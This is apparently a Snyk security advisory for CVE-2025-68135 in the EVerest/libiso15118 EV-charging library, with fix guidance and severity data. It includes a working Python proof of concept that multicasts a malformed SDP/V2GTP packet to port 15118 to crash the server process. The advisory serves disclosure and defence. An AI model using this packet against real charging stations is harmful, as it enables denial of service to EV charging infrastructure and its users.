Uncaught Exception Affecting EVerest/libiso15118 package, versions [,0.9.0)


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.3% (24th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-UNMANAGED-EVERESTLIBISO15118-15057986
  • published22 Jan 2026
  • disclosed21 Jan 2026
  • creditSébastien Rolland

Introduced: 21 Jan 2026

CVE-2025-68135  (opens in a new tab)
CWE-248  (opens in a new tab)

How to fix?

Upgrade EVerest/libiso15118 to version 0.9.0 or higher.

Overview

Affected versions of this package are vulnerable to Uncaught Exception due to improper handling of read_single_sdp_packet in the TbdController loop. An attacker can cause critical server processes to terminate by sending a malformed packet.

Note: while the CVE was issued for everest-core, the affected library is in libiso15118

PoC

import socket
from iso15118.shared.messages.sdp import SDPRequest, Security, Transport
from iso15118.shared.messages.v2gtp import V2GTPMessage
from iso15118.shared.messages.enums import Protocol

MULTICAST_GROUP = 'FF02::1'
PORT = 15118
INTERFACE = 'enp1s0'


def send_sdp_request():
    sock = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
    sock.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_MULTICAST_IF, socket.if_nametoindex(INTERFACE))

    security = Security.NO_TLS
    sdp_request = SDPRequest(security=security, transport_protocol=Transport.TCP)
    v2gtp_msg = V2GTPMessage(
        Protocol.UNKNOWN, sdp_request.payload_type, sdp_request.to_payload()
    )
    sock.sendto(v2gtp_msg.to_bytes(), (MULTICAST_GROUP, PORT))

send_sdp_request()

CVSS Base Scores

version 4.0
version 3.1